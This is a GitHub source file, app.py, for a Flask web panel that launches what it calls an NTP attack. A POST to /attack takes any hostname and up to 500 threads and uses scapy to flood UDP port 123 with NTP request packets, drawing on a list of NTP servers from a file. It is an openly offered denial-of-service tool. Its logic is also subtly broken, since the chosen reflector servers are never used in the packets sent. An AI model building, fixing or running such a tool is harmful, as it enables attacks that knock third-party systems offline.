-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.py
88 lines (72 loc) · 2.74 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from flask import Flask, request, jsonify, render_template
import random
import socket
import threading
from scapy.all import IP, UDP, Raw, send
app = Flask(__name__)
def read_ntp_servers():
"""Read NTP servers from a file."""
ntp_servers = []
try:
with open('ntp.txt', 'r') as file:
for line in file:
parts = line.split()
if len(parts) >= 1:
ntp_servers.append(parts[0]) # Only take the IP address
except FileNotFoundError:
print("ntp.txt file not found!")
return ntp_servers
ntp_servers = read_ntp_servers()
def check_tgt(target):
"""Resolve the target hostname to an IP address."""
try:
ip = socket.gethostbyname(target)
return ip
except socket.gaierror:
return None
class NTPAttack:
def __init__(self, tgt, threads):
self.tgt = tgt
self.threads = threads
def send_ntp_request(self, ntp_server):
"""Send an NTP request to the target."""
try:
# Construct the NTP request packet
packet = IP(dst=self.tgt) / UDP(dport=123) / Raw(load="\x1b" + 47 * "\0")
send(packet, verbose=False) # Send the packet without verbose output
print(f"Sent NTP request to {ntp_server}")
except Exception as e:
print(f"Error sending NTP request to {ntp_server}: {e}")
def start_attack(self):
"""Start the NTP attack using multiple threads."""
threads = []
for _ in range(self.threads):
ntp_server = random.choice(ntp_servers) # Randomly choose an NTP server
t = threading.Thread(target=self.send_ntp_request, args=(ntp_server,))
t.start()
threads.append(t)
for t in threads:
t.join()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/attack', methods=['POST'])
def attack():
target = request.form.get('target', '').strip() # Get target from form and strip whitespace
threads = request.form.get('threads', '100')
if not target:
return jsonify({"error": "Target is required!"}), 400
tgt = check_tgt(target)
if tgt is None:
return jsonify({"error": f"Can't resolve host: {target}!"}), 400
try:
threads = int(threads)
if threads <= 0 or threads > 500: # Limit the number of threads to a reasonable range
return jsonify({"error": "Number of threads must be between 1 and 500!"}), 400
except ValueError:
return jsonify({"error": "Invalid number of threads!"}), 400
attack = NTPAttack(tgt, threads)
attack.start_attack()
return jsonify({"message": f"Started attack on {tgt} with {threads} threads."})
if __name__ == '__main__':
app.run(debug=True)